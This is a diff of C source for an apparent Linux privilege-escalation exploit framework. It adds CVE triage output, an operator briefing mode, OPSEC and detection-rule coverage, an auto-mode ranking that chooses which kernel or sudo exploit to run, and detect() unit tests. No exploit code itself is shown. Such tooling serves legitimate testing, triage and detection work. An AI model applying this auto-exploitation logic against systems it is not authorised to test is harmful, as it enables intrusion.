/* Architecture support for the exploit body. */
|
||||
if (m->arch_support) {
|
||||
char *a = json_escape(m->arch_support);
|
||||
fprintf(stdout, ",\"arch_support\":\"%s\"", a ? a : "");
|
||||
free(a);
|
||||
}
|
||||
|
||||
/* Empirical verification records: (distro, kernel, date) tuples
|
||||
* where the module's detect() was confirmed against a real target. */
|
||||
size_t nv = 0;
|
||||
const struct verification_record *vrs = verifications_for_module(m->name, &nv);
|
||||
if (nv > 0) {
|
||||
fprintf(stdout, ",\"verified_on\":[");
|
||||
for (size_t i = 0; i < nv; i++) {
|
||||
char *vat = json_escape(vrs[i].verified_at);
|
||||
char *vkr = json_escape(vrs[i].host_kernel);
|
||||
char *vds = json_escape(vrs[i].host_distro);
|
||||
char *vbx = json_escape(vrs[i].vm_box);
|
||||
char *vst = json_escape(vrs[i].status);
|
||||
char *vac = json_escape(vrs[i].actual_detect);
|
||||
fprintf(stdout,
|
||||
"%s{\"verified_at\":\"%s\",\"host_kernel\":\"%s\","
|
||||
"\"host_distro\":\"%s\",\"vm_box\":\"%s\","
|
||||
"\"actual_detect\":\"%s\",\"status\":\"%s\"}",
|
||||
i ? "," : "",
|
||||
vat ? vat : "", vkr ? vkr : "", vds ? vds : "",
|
||||
vbx ? vbx : "", vac ? vac : "", vst ? vst : "");
|
||||
free(vat); free(vkr); free(vds); free(vbx); free(vst); free(vac);
|
||||
}
|
||||
fprintf(stdout, "]");
|
||||
}
|
||||
|
||||
if (include_rules) {
|
||||
/* Embed the actual rule text. Useful for --module-info. */
|
||||
char *aud = json_escape(m->detect_auditd);
|
||||
@@ -210,15 +279,43 @@ static int cmd_list(const struct skeletonkey_ctx *ctx)
|
||||
fprintf(stdout, "]}\n");
|
||||
return 0;
|
||||
}
|
||||
fprintf(stdout, "%-20s %-18s %-25s %s\n",
|
||||
"NAME", "CVE", "FAMILY", "SUMMARY");
|
||||
fprintf(stdout, "%-20s %-18s %-25s %s\n",
|
||||
"----", "---", "------", "-------");
|
||||
/* The ARCH column shows where exploit() is known/expected to work:
|
||||
* "any" → userspace or arch-agnostic kernel primitive
|
||||
* "x64" → x86_64 only (entrybleed)
|
||||
* "x64?" → x86_64 verified, arm64 untested (the honest default
|
||||
* for kernel modules that haven't been arm64-confirmed) */
|
||||
fprintf(stdout, "%-20s %-18s %-3s %-3s %-5s %-25s %s\n",
|
||||
"NAME", "CVE", "KEV", "VFY", "ARCH", "FAMILY", "SUMMARY");
|
||||
fprintf(stdout, "%-20s %-18s %-3s %-3s %-5s %-25s %s\n",
|
||||
"----", "---", "---", "---", "----", "------", "-------");
|
||||
size_t n_kev = 0, n_vfy = 0, n_any = 0;
|
||||
for (size_t i = 0; i < n; i++) {
|
||||
const struct skeletonkey_module *m = skeletonkey_module_at(i);
|
||||
fprintf(stdout, "%-20s %-18s %-25s %s\n",
|
||||
m->name, m->cve, m->family, m->summary);
|
||||
const struct cve_metadata *md = cve_metadata_lookup(m->cve);
|
||||
bool in_kev = md && md->in_kev;
|
||||
bool verified = verifications_module_has_match(m->name);
|
||||
const char *arch_abbr = "?";
|
||||
if (m->arch_support) {
|
||||
if (strcmp(m->arch_support, "any") == 0) { arch_abbr = "any"; n_any++; }
|
||||
else if (strcmp(m->arch_support, "x86_64") == 0) { arch_abbr = "x64"; }
|
||||
else { arch_abbr = "x64?"; }
|
||||
}
|
||||
if (in_kev) n_kev++;
|
||||
if (verified) n_vfy++;
|
||||
fprintf(stdout, "%-20s %-18s %-3s %-3s %-5s %-25s %s\n",
|
||||
m->name, m->cve,
|
||||
in_kev ? "★" : "",
|
||||
verified ? "✓" : "",
|
||||
arch_abbr,
|
||||
m->family, m->summary);
|
||||
}
|
||||
fprintf(stdout, "\n%zu modules registered · %zu in CISA KEV (★) · "
|
||||
"%zu empirically verified in real VMs (✓) · "
|
||||
"%zu arch-independent (any)\n",
|
||||
n, n_kev, n_vfy, n_any);
|
||||
fprintf(stdout, "ARCH key: 'any' = userspace or arch-agnostic; "
|
||||
"'x64' = x86_64 only; 'x64?' = x86_64 verified, "
|
||||
"arm64 untested\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -567,25 +664,257 @@ static int cmd_module_info(const char *name, const struct skeletonkey_ctx *ctx)
|
||||
fprintf(stdout, "family: %s\n", m->family);
|
||||
fprintf(stdout, "kernel_range: %s\n", m->kernel_range);
|
||||
fprintf(stdout, "summary: %s\n", m->summary);
|
||||
|
||||
/* Triage metadata sourced from CISA KEV + NVD (lookup keyed by
|
||||
* m->cve). Only printed when present; mapping for older or
|
||||
* recently-disclosed CVEs may be partial. */
|
||||
const struct cve_metadata *md = cve_metadata_lookup(m->cve);
|
||||
if (md) {
|
||||
if (md->cwe)
|
||||
fprintf(stdout, "cwe: %s\n", md->cwe);
|
||||
if (md->attack_technique)
|
||||
fprintf(stdout, "att&ck: %s%s%s\n",
|
||||
md->attack_technique,
|
||||
md->attack_subtechnique ? " / " : "",
|
||||
md->attack_subtechnique ? md->attack_subtechnique : "");
|
||||
if (md->in_kev)
|
||||
fprintf(stdout, "in CISA KEV: YES (added %s)\n",
|
||||
md->kev_date_added);
|
||||
else
|
||||
fprintf(stdout, "in CISA KEV: no\n");
|
||||
}
|
||||
|
||||
fprintf(stdout, "operations: %s%s%s%s\n",
|
||||
m->detect ? "detect " : "",
|
||||
m->exploit ? "exploit " : "",
|
||||
m->mitigate ? "mitigate " : "",
|
||||
m->cleanup ? "cleanup " : "");
|
||||
if (m->arch_support)
|
||||
fprintf(stdout, "arch support: %s\n", m->arch_support);
|
||||
fprintf(stdout, "detect rules: %s%s%s%s\n",
|
||||
m->detect_auditd ? "auditd " : "",
|
||||
m->detect_sigma ? "sigma " : "",
|
||||
m->detect_yara ? "yara " : "",
|
||||
m->detect_falco ? "falco " : "");
|
||||
|
||||
/* Verification records — VM-confirmed detect() verdicts. */
|
||||
{
|
||||
size_t nv = 0;
|
||||
const struct verification_record *vrs =
|
||||
verifications_for_module(m->name, &nv);
|
||||
if (nv > 0) {
|
||||
fprintf(stdout, "\n--- verified on ---\n");
|
||||
for (size_t i = 0; i < nv; i++) {
|
||||
const char *icon = (vrs[i].status &&
|
||||
strcmp(vrs[i].status, "match") == 0) ? "✓" : "✗";
|
||||
fprintf(stdout, " %s %s %s (kernel %s; %s; status: %s)\n",
|
||||
icon, vrs[i].verified_at,
|
||||
vrs[i].host_distro, vrs[i].host_kernel,
|
||||
vrs[i].vm_box, vrs[i].status);
|
||||
}
|
||||
} else {
|
||||
fprintf(stdout, "\n--- verified on ---\n"
|
||||
" (none yet — run tools/verify-vm/verify.sh %s to add one)\n",
|
||||
m->name);
|
||||
}
|
||||
}
|
||||
|
||||
if (m->opsec_notes) {
|
||||
fprintf(stdout, "\n--- opsec notes ---\n%s\n", m->opsec_notes);
|
||||
}
|
||||
if (m->detect_auditd) {
|
||||
fprintf(stdout, "\n--- auditd rules ---\n%s", m->detect_auditd);
|
||||
}
|
||||
if (m->detect_sigma) {
|
||||
fprintf(stdout, "\n--- sigma rule ---\n%s", m->detect_sigma);
|
||||
}
|
||||
if (m->detect_yara) {
|
||||
fprintf(stdout, "\n--- yara rule ---\n%s", m->detect_yara);
|
||||
}
|
||||
if (m->detect_falco) {
|
||||
fprintf(stdout, "\n--- falco rule ---\n%s", m->detect_falco);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* Word-wrap a long paragraph at `width` columns, indenting every line by
|
||||
* `indent` spaces. Writes to stdout. Used by --explain to render the
|
||||
* .opsec_notes paragraph (typically 400-700 chars). */
|
||||
static void print_wrapped(const char *text, int indent, int width)
|
||||
{
|
||||
int col = indent;
|
||||
for (int i = 0; i < indent; i++) fputc(' ', stdout);
|
||||
const char *p = text;
|
||||
while (*p) {
|
||||
const char *word_start = p;
|
||||
while (*p && *p != ' ') p++;
|
||||
size_t word_len = (size_t)(p - word_start);
|
||||
if (col + (int)word_len > width && col > indent) {
|
||||
fputc('\n', stdout);
|
||||
for (int i = 0; i < indent; i++) fputc(' ', stdout);
|
||||
col = indent;
|
||||
}
|
||||
fwrite(word_start, 1, word_len, stdout);
|
||||
col += (int)word_len;
|
||||
while (*p == ' ') {
|
||||
if (col + 1 > width) {
|
||||
fputc('\n', stdout);
|
||||
for (int i = 0; i < indent; i++) fputc(' ', stdout);
|
||||
col = indent;
|
||||
p++;
|
||||
break;
|
||||
}
|
||||
fputc(' ', stdout);
|
||||
col++;
|
||||
p++;
|
||||
}
|
||||
}
|
||||
fputc('\n', stdout);
|
||||
}
|
||||
|
||||
/* --explain MODULE — single-page operator briefing. Combines metadata
|
||||
* (CVE / CWE / ATT&CK / KEV), host fingerprint (kernel / arch / userns
|
||||
* gates), live detect() trace (the gates the module just walked, what
|
||||
* the verdict was and why), OPSEC footprint (telemetry the exploit
|
||||
* leaves), detection coverage (which formats have rules), and mitigation
|
||||
* guidance. The intended audience is anyone who wants ONE page that
|
||||
* answers "should we worry about this CVE here, what would patch it,
|
||||
* and what would the SOC see if someone tried it".
|
||||
*
|
||||
* detect() writes its reasoning to stderr (the normal verbose path);
|
||||
* --explain's structured framing goes to stdout. Redirect 2>&1 to merge. */
|
||||
static int cmd_explain(const char *name, const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
const struct skeletonkey_module *m = skeletonkey_module_find(name);
|
||||
if (!m) {
|
||||
fprintf(stderr, "[-] no module '%s'. Try --list.\n", name);
|
||||
return 1;
|
||||
}
|
||||
const struct cve_metadata *md = cve_metadata_lookup(m->cve);
|
||||
|
||||
/* ── header ──────────────────────────────────────────────── */
|
||||
fprintf(stdout, "\n");
|
||||
fprintf(stdout, "════════════════════════════════════════════════════\n");
|
||||
fprintf(stdout, " %s %s\n", m->name, m->cve);
|
||||
fprintf(stdout, "════════════════════════════════════════════════════\n");
|
||||
fprintf(stdout, " %s\n", m->summary);
|
||||
|
||||
/* ── weakness ────────────────────────────────────────────── */
|
||||
fprintf(stdout, "\nWEAKNESS\n");
|
||||
if (md && md->cwe)
|
||||
fprintf(stdout, " %s\n", md->cwe);
|
||||
else
|
||||
fprintf(stdout, " (no NVD CWE mapping yet)\n");
|
||||
if (md && md->attack_technique)
|
||||
fprintf(stdout, " MITRE ATT&CK: %s%s%s\n",
|
||||
md->attack_technique,
|
||||
md->attack_subtechnique ? " / " : "",
|
||||
md->attack_subtechnique ? md->attack_subtechnique : "");
|
||||
|
||||
/* ── threat-intel context ────────────────────────────────── */
|
||||
fprintf(stdout, "\nTHREAT INTEL\n");
|
||||
if (md && md->in_kev)
|
||||
fprintf(stdout, " ✓ In CISA Known Exploited Vulnerabilities catalog "
|
||||
"(added %s)\n", md->kev_date_added);
|
||||
else
|
||||
fprintf(stdout, " - Not in CISA KEV (no in-the-wild exploitation "
|
||||
"observed by CISA)\n");
|
||||
fprintf(stdout, " Affected: %s\n", m->kernel_range);
|
||||
|
||||
/* ── host fingerprint summary ────────────────────────────── */
|
||||
if (ctx->host) {
|
||||
fprintf(stdout, "\nHOST FINGERPRINT\n");
|
||||
if (ctx->host->kernel.release && ctx->host->kernel.release[0])
|
||||
fprintf(stdout, " kernel: %s (%s)\n",
|
||||
ctx->host->kernel.release, ctx->host->arch);
|
||||
if (ctx->host->distro_pretty[0])
|
||||
fprintf(stdout, " distro: %s\n", ctx->host->distro_pretty);
|
||||
fprintf(stdout, " unpriv userns: %s\n",
|
||||
ctx->host->unprivileged_userns_allowed ? "ALLOWED" : "blocked");
|
||||
if (ctx->host->apparmor_restrict_userns)
|
||||
fprintf(stdout, " apparmor: restricts unprivileged userns\n");
|
||||
if (ctx->host->selinux_enforcing)
|
||||
fprintf(stdout, " selinux: enforcing\n");
|
||||
if (ctx->host->kernel_lockdown_active)
|
||||
fprintf(stdout, " lockdown: active\n");
|
||||
}
|
||||
|
||||
/* ── live detect trace ───────────────────────────────────── */
|
||||
fprintf(stdout, "\nDETECT() TRACE (live; reads ctx->host, fires gates)\n");
|
||||
fflush(stdout);
|
||||
skeletonkey_result_t r = SKELETONKEY_TEST_ERROR;
|
||||
if (m->detect) {
|
||||
struct skeletonkey_ctx dctx = *ctx;
|
||||
dctx.json = false; /* keep verbose stderr reasoning on */
|
||||
r = m->detect(&dctx);
|
||||
fflush(stderr);
|
||||
} else {
|
||||
fprintf(stdout, " (this module has no detect() — no probe to run)\n");
|
||||
}
|
||||
|
||||
fprintf(stdout, "\nVERDICT: %s\n", result_str(r));
|
||||
/* one-line interpretation for the operator */
|
||||
switch (r) {
|
||||
case SKELETONKEY_OK:
|
||||
fprintf(stdout, " -> this host is patched / not applicable / immune.\n");
|
||||
break;
|
||||
case SKELETONKEY_VULNERABLE:
|
||||
fprintf(stdout, " -> bug is reachable. The OPSEC section below shows what a "
|
||||
"successful exploit() would leave.\n");
|
||||
break;
|
||||
case SKELETONKEY_PRECOND_FAIL:
|
||||
fprintf(stdout, " -> a precondition check rejected this host: wrong "
|
||||
"OS / arch, kernel out of range, a host-side gate "
|
||||
"(userns / apparmor / selinux), or a missing carrier "
|
||||
"file. See trace above for which check fired.\n");
|
||||
break;
|
||||
case SKELETONKEY_TEST_ERROR:
|
||||
fprintf(stdout, " -> probe machinery failed; verdict unknown.\n");
|
||||
break;
|
||||
default: break;
|
||||
}
|
||||
|
||||
/* ── OPSEC footprint ─────────────────────────────────────── */
|
||||
if (m->opsec_notes) {
|
||||
fprintf(stdout, "\nOPSEC FOOTPRINT (what exploit() leaves on this host)\n");
|
||||
print_wrapped(m->opsec_notes, 2, 76);
|
||||
}
|
||||
|
||||
/* ── empirical verification records ────────────────────────── */
|
||||
{
|
||||
size_t nv = 0;
|
||||
const struct verification_record *vrs =
|
||||
verifications_for_module(m->name, &nv);
|
||||
fprintf(stdout, "\nVERIFIED ON (real-VM detect() confirmations)\n");
|
||||
if (nv == 0) {
|
||||
fprintf(stdout, " (none yet — run tools/verify-vm/verify.sh %s)\n",
|
||||
m->name);
|
||||
} else {
|
||||
for (size_t i = 0; i < nv; i++) {
|
||||
const char *icon = (vrs[i].status &&
|
||||
strcmp(vrs[i].status, "match") == 0) ? "✓" : "✗";
|
||||
fprintf(stdout, " %s %s %s — kernel %s (%s)\n",
|
||||
icon, vrs[i].verified_at,
|
||||
vrs[i].host_distro, vrs[i].host_kernel,
|
||||
vrs[i].status);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* ── detection coverage matrix ───────────────────────────── */
|
||||
fprintf(stdout, "\nDETECTION COVERAGE (rules embedded in this binary)\n");
|
||||
fprintf(stdout, " %s auditd %s sigma %s yara %s falco\n",
|
||||
m->detect_auditd ? "✓" : "·",
|
||||
m->detect_sigma ? "✓" : "·",
|
||||
m->detect_yara ? "✓" : "·",
|
||||
m->detect_falco ? "✓" : "·");
|
||||
fprintf(stdout, " (see skeletonkey --module-info %s for rule bodies,\n"
|
||||
" or skeletonkey --detect-rules --format=auditd for the full corpus)\n",
|
||||
m->name);
|
||||
|
||||
return (int)r;
|
||||
}
|
||||
|
||||
static int cmd_scan(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
int worst = 0;
|
||||
@@ -674,6 +1003,7 @@ static int module_safety_rank(const char *n)
|
||||
/* Higher = safer. Run highest-ranked vulnerable module. */
|
||||
if (!strcmp(n, "pwnkit")) return 100; /* userspace, no kernel */
|
||||
if (!strcmp(n, "sudoedit_editor")) return 99; /* structural argv */
|
||||
if (!strcmp(n, "sudo_host")) return 96; /* structural; needs a host-restricted sudoers rule */
|
||||
if (!strcmp(n, "cgroup_release_agent")) return 98; /* structural, no offsets */
|
||||
if (!strcmp(n, "overlayfs_setuid")) return 97; /* structural setuid */
|
||||
if (!strcmp(n, "overlayfs")) return 96; /* userns + xattr */
|
||||
@@ -685,7 +1015,10 @@ static int module_safety_rank(const char *n)
|
||||
if (!strcmp(n, "dirtydecrypt") ||
|
||||
!strcmp(n, "fragnesia")) return 87; /* ported page-cache writes; version-pinned detect, exploit NOT VM-verified */
|
||||
if (!strcmp(n, "ptrace_traceme")) return 85; /* userspace cred race */
|
||||
if (!strcmp(n, "ptrace_pidfd")) return 84; /* pidfd_getfd fd-steal race; ported, exploit NOT VM-verified */
|
||||
if (!strcmp(n, "cifswitch")) return 86; /* structural cifs.spnego keyring trust; ported, full chain NOT bundled/VM-verified */
|
||||
if (!strcmp(n, "sudo_samedit")) return 80; /* heap-tuned, may crash sudo */
|
||||
if (!strcmp(n, "nft_catchall")) return 35; /* reconstructed nf_tables abort UAF; may KASAN-oops, primitive-only/not VM-verified */
|
||||
if (!strcmp(n, "af_unix_gc")) return 25; /* kernel race, low win% */
|
||||
if (!strcmp(n, "stackrot")) return 15; /* very low win% */
|
||||
if (!strcmp(n, "entrybleed")) return 0; /* leak only, not LPE */
|
||||
@@ -1035,35 +1368,11 @@ static int cmd_one(const struct skeletonkey_module *m, const char *op,
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
/* Bring up the module registry. As new families land, add their
|
||||
* register_* call here. */
|
||||
skeletonkey_register_copy_fail_family();
|
||||
skeletonkey_register_dirty_pipe();
|
||||
skeletonkey_register_entrybleed();
|
||||
skeletonkey_register_pwnkit();
|
||||
skeletonkey_register_nf_tables();
|
||||
skeletonkey_register_overlayfs();
|
||||
skeletonkey_register_cls_route4();
|
||||
skeletonkey_register_dirty_cow();
|
||||
skeletonkey_register_ptrace_traceme();
|
||||
skeletonkey_register_netfilter_xtcompat();
|
||||
skeletonkey_register_af_packet();
|
||||
skeletonkey_register_fuse_legacy();
|
||||
skeletonkey_register_stackrot();
|
||||
skeletonkey_register_af_packet2();
|
||||
skeletonkey_register_cgroup_release_agent();
|
||||
skeletonkey_register_overlayfs_setuid();
|
||||
skeletonkey_register_nft_set_uaf();
|
||||
skeletonkey_register_af_unix_gc();
|
||||
skeletonkey_register_nft_fwd_dup();
|
||||
skeletonkey_register_nft_payload();
|
||||
skeletonkey_register_sudo_samedit();
|
||||
skeletonkey_register_sequoia();
|
||||
skeletonkey_register_sudoedit_editor();
|
||||
skeletonkey_register_vmwgfx();
|
||||
skeletonkey_register_dirtydecrypt();
|
||||
skeletonkey_register_fragnesia();
|
||||
skeletonkey_register_pack2theroot();
|
||||
/* Bring up the module registry. New module families register
|
||||
* themselves via skeletonkey_register_all_modules() in
|
||||
* core/registry.c — add the new register_*() call there so the
|
||||
* test binary picks it up automatically. */
|
||||
skeletonkey_register_all_modules();
|
||||
|
||||
enum mode mode = MODE_SCAN;
|
||||
struct skeletonkey_ctx ctx = {0};
|
||||
@@ -1096,6 +1405,7 @@ int main(int argc, char **argv)
|
||||
{"no-color", no_argument, 0, 5 },
|
||||
{"full-chain", no_argument, 0, 7 },
|
||||
{"dry-run", no_argument, 0, 10 },
|
||||
{"explain", required_argument, 0, 11 },
|
||||
{"version", no_argument, 0, 'V'},
|
||||
{"help", no_argument, 0, 'h'},
|
||||
{0, 0, 0, 0}
|
||||
@@ -1121,6 +1431,7 @@ int main(int argc, char **argv)
|
||||
case 8 : mode = MODE_DUMP_OFFSETS; break;
|
||||
case 9 : mode = MODE_AUTO; ctx.authorized = i_know ? true : ctx.authorized; break;
|
||||
case 10 : ctx.dry_run = true; break;
|
||||
case 11 : mode = MODE_EXPLAIN; target = optarg; break;
|
||||
case 6 :
|
||||
if (strcmp(optarg, "auditd") == 0) dr_fmt = FMT_AUDITD;
|
||||
else if (strcmp(optarg, "sigma") == 0) dr_fmt = FMT_SIGMA;
|
||||
@@ -1145,6 +1456,7 @@ int main(int argc, char **argv)
|
||||
if (mode == MODE_SCAN) return cmd_scan(&ctx);
|
||||
if (mode == MODE_LIST) return cmd_list(&ctx);
|
||||
if (mode == MODE_MODULE_INFO) return cmd_module_info(target, &ctx);
|
||||
if (mode == MODE_EXPLAIN) return cmd_explain(target, &ctx);
|
||||
if (mode == MODE_DETECT_RULES) return cmd_detect_rules(dr_fmt);
|
||||
if (mode == MODE_AUDIT) return cmd_audit(&ctx);
|
||||
if (mode == MODE_AUTO) return cmd_auto(&ctx);
|
||||
|
||||
+452
-3
@@ -24,6 +24,7 @@
|
||||
|
||||
#include "../core/module.h"
|
||||
#include "../core/host.h"
|
||||
#include "../core/registry.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@@ -33,6 +34,7 @@ extern const struct skeletonkey_module dirtydecrypt_module;
|
||||
extern const struct skeletonkey_module fragnesia_module;
|
||||
extern const struct skeletonkey_module pack2theroot_module;
|
||||
extern const struct skeletonkey_module overlayfs_module;
|
||||
extern const struct skeletonkey_module entrybleed_module;
|
||||
extern const struct skeletonkey_module dirty_pipe_module;
|
||||
extern const struct skeletonkey_module dirty_cow_module;
|
||||
extern const struct skeletonkey_module ptrace_traceme_module;
|
||||
@@ -58,10 +60,39 @@ extern const struct skeletonkey_module dirty_frag_rxrpc_module;
|
||||
extern const struct skeletonkey_module sudo_samedit_module;
|
||||
extern const struct skeletonkey_module sudoedit_editor_module;
|
||||
extern const struct skeletonkey_module pwnkit_module;
|
||||
extern const struct skeletonkey_module sudo_chwoot_module;
|
||||
extern const struct skeletonkey_module udisks_libblockdev_module;
|
||||
extern const struct skeletonkey_module pintheft_module;
|
||||
extern const struct skeletonkey_module mutagen_astronomy_module;
|
||||
extern const struct skeletonkey_module sudo_runas_neg1_module;
|
||||
extern const struct skeletonkey_module tioscpgrp_module;
|
||||
extern const struct skeletonkey_module vsock_uaf_module;
|
||||
extern const struct skeletonkey_module nft_pipapo_module;
|
||||
extern const struct skeletonkey_module ptrace_pidfd_module;
|
||||
extern const struct skeletonkey_module sudo_host_module;
|
||||
extern const struct skeletonkey_module cifswitch_module;
|
||||
extern const struct skeletonkey_module nft_catchall_module;
|
||||
|
||||
static int g_pass = 0;
|
||||
static int g_fail = 0;
|
||||
|
||||
/* Record which modules at least one test row touched, so the harness
|
||||
* can print a "modules without direct coverage" warning at the end.
|
||||
* Linear append + scan is fine; we have <50 modules. The list is
|
||||
* static-sized at SKELETONKEY_MAX_TESTED_MODULES; bump if we ever
|
||||
* exceed it. */
|
||||
#define SKELETONKEY_MAX_TESTED_MODULES 128
|
||||
static const char *g_tested_modules[SKELETONKEY_MAX_TESTED_MODULES];
|
||||
static size_t g_tested_count = 0;
|
||||
|
||||
static void mark_tested(const char *name)
|
||||
{
|
||||
for (size_t i = 0; i < g_tested_count; i++)
|
||||
if (strcmp(g_tested_modules[i], name) == 0) return;
|
||||
if (g_tested_count < SKELETONKEY_MAX_TESTED_MODULES)
|
||||
g_tested_modules[g_tested_count++] = name;
|
||||
}
|
||||
|
||||
static const char *result_str(skeletonkey_result_t r)
|
||||
{
|
||||
switch (r) {
|
||||
@@ -89,6 +120,7 @@ static void run_one(const char *test_name,
|
||||
ctx.json = true; /* silence per-module log lines */
|
||||
|
||||
skeletonkey_result_t got = m->detect(&ctx);
|
||||
mark_tested(m->name);
|
||||
if (got == want) {
|
||||
printf("[+] PASS %-40s %s → %s\n",
|
||||
test_name, m->name, result_str(got));
|
||||
@@ -102,6 +134,31 @@ static void run_one(const char *test_name,
|
||||
}
|
||||
}
|
||||
|
||||
/* mk_host: derive a fingerprint from a base + a kernel override.
|
||||
*
|
||||
* The most common new-test shape is "I want fingerprint X but with a
|
||||
* specific (major, minor, patch) — to nail a backport-boundary or
|
||||
* predates-the-bug case". Doing this with a fresh struct literal each
|
||||
* time obscures the *one* thing that's different. mk_host() does the
|
||||
* copy + overlay, named release string included.
|
||||
*
|
||||
* Returns a struct VALUE so the caller stores it in a stack local and
|
||||
* passes &h. No heap. The release string is the caller's responsibility
|
||||
* (we don't synthesize from numerics to avoid implying a real release
|
||||
* naming convention). */
|
||||
#ifdef __linux__
|
||||
static struct skeletonkey_host
|
||||
mk_host(struct skeletonkey_host base, int major, int minor, int patch,
|
||||
const char *release)
|
||||
{
|
||||
base.kernel.major = major;
|
||||
base.kernel.minor = minor;
|
||||
base.kernel.patch = patch;
|
||||
base.kernel.release = release;
|
||||
return base;
|
||||
}
|
||||
#endif
|
||||
|
||||
/* ── fingerprints ────────────────────────────────────────────────── */
|
||||
|
||||
/* Linux 6.12.76 (Debian 13), no userns, no D-Bus, not Ubuntu — a
|
||||
@@ -265,12 +322,13 @@ static const struct skeletonkey_host h_kernel_5_14_no_userns = {
|
||||
static void run_all(void)
|
||||
{
|
||||
#ifdef __linux__
|
||||
/* dirtydecrypt: kernel.major < 7 → predates the bug → OK */
|
||||
run_one("dirtydecrypt: kernel 6.12 predates 7.0 → OK",
|
||||
/* dirtydecrypt: rxgk RESPONSE bug entered at 6.16.1 per NVD;
|
||||
* kernels before that predate the buggy code → OK */
|
||||
run_one("dirtydecrypt: kernel 6.12 predates 6.16.1 → OK",
|
||||
&dirtydecrypt_module, &h_pre7_no_userns_no_dbus,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
run_one("dirtydecrypt: kernel 6.14 (fedora) still predates → OK",
|
||||
run_one("dirtydecrypt: kernel 6.14 (fedora) still predates 6.16.1 → OK",
|
||||
&dirtydecrypt_module, &h_fedora_no_debian,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
@@ -278,6 +336,12 @@ static void run_all(void)
|
||||
&dirtydecrypt_module, &h_ubuntu_24_userns_ok,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* fragnesia: SKBFL_SHARED_FRAG marker added in 5.11; kernels before
|
||||
* that predate the buggy skb_try_coalesce() code → OK */
|
||||
run_one("fragnesia: kernel 4.4 predates 5.11 SKBFL_SHARED_FRAG → OK",
|
||||
&fragnesia_module, &h_kernel_4_4,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* fragnesia: userns disabled → XFRM gate closed → PRECOND_FAIL */
|
||||
run_one("fragnesia: userns_allowed=false → PRECOND_FAIL",
|
||||
&fragnesia_module, &h_pre7_no_userns_no_dbus,
|
||||
@@ -486,6 +550,385 @@ static void run_all(void)
|
||||
run_one("nft_payload: vuln kernel 5.14 + userns ok → VULNERABLE",
|
||||
&nft_payload_module, &h_kernel_5_14_userns_ok,
|
||||
SKELETONKEY_VULNERABLE);
|
||||
|
||||
/* ── drift-entry boundary coverage ────────────────────────────
|
||||
* These tests guard the kernel_patched_from entries added by the
|
||||
* tools/refresh-kernel-ranges.py drift batch (commit 8de46e2).
|
||||
* Each entry has a "just-below" + "exact" pair so a regression
|
||||
* that drops or off-by-ones the entry is caught immediately. */
|
||||
|
||||
/* af_unix_gc {6, 4, 13} — Debian forky stable backport. The bug is
|
||||
* reachable as a plain unprivileged user (AF_UNIX needs no caps and
|
||||
* no userns), so 6.4.12 returns VULNERABLE rather than
|
||||
* PRECOND_FAIL — the just-below-boundary verdict the table
|
||||
* decides. */
|
||||
struct skeletonkey_host h_af_unix_6_4_12 =
|
||||
mk_host(h_kernel_5_14_no_userns, 6, 4, 12, "6.4.12-test");
|
||||
run_one("af_unix_gc: 6.4.12 (one below new entry) → VULNERABLE",
|
||||
&af_unix_gc_module, &h_af_unix_6_4_12,
|
||||
SKELETONKEY_VULNERABLE);
|
||||
|
||||
struct skeletonkey_host h_af_unix_6_4_13 =
|
||||
mk_host(h_kernel_5_14_no_userns, 6, 4, 13, "6.4.13-test");
|
||||
run_one("af_unix_gc: 6.4.13 (exact new entry) → OK via patch table",
|
||||
&af_unix_gc_module, &h_af_unix_6_4_13,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* vmwgfx {5, 10, 127} — Debian bullseye stable backport. Below the
|
||||
* entry, detect proceeds past the version check and fails the
|
||||
* AF_VSOCK / /dev/dri probe in CI → PRECOND_FAIL. At the exact
|
||||
* entry, kernel_range_is_patched short-circuits → OK. */
|
||||
struct skeletonkey_host h_vmwgfx_5_10_127 =
|
||||
mk_host(h_kernel_5_14_no_userns, 5, 10, 127, "5.10.127-test");
|
||||
run_one("vmwgfx: 5.10.127 (exact new entry) → OK via patch table",
|
||||
&vmwgfx_module, &h_vmwgfx_5_10_127,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* nft_set_uaf {5, 10, 179} (harmonised from 5.10.180) — exact entry
|
||||
* patches via table. */
|
||||
struct skeletonkey_host h_nft_set_5_10_179 =
|
||||
mk_host(h_kernel_5_14_no_userns, 5, 10, 179, "5.10.179-test");
|
||||
run_one("nft_set_uaf: 5.10.179 (harmonised entry) → OK via patch table",
|
||||
&nft_set_uaf_module, &h_nft_set_5_10_179,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* nft_set_uaf {6, 1, 27} (harmonised from 6.1.28) — exact entry
|
||||
* patches via table. */
|
||||
struct skeletonkey_host h_nft_set_6_1_27 =
|
||||
mk_host(h_kernel_5_14_no_userns, 6, 1, 27, "6.1.27-test");
|
||||
run_one("nft_set_uaf: 6.1.27 (harmonised entry) → OK via patch table",
|
||||
&nft_set_uaf_module, &h_nft_set_6_1_27,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* nft_payload {5, 10, 162} (harmonised from 5.10.163) — exact entry. */
|
||||
struct skeletonkey_host h_nft_payload_5_10_162 =
|
||||
mk_host(h_kernel_5_14_no_userns, 5, 10, 162, "5.10.162-test");
|
||||
run_one("nft_payload: 5.10.162 (harmonised entry) → OK via patch table",
|
||||
&nft_payload_module, &h_nft_payload_5_10_162,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* nf_tables {5, 10, 209} (harmonised from 5.10.210) — exact entry. */
|
||||
struct skeletonkey_host h_nf_tables_5_10_209 =
|
||||
mk_host(h_kernel_5_14_no_userns, 5, 10, 209, "5.10.209-test");
|
||||
run_one("nf_tables: 5.10.209 (harmonised entry) → OK via patch table",
|
||||
&nf_tables_module, &h_nf_tables_5_10_209,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* ── entrybleed: meltdown_mitigation passthrough ────────────────
|
||||
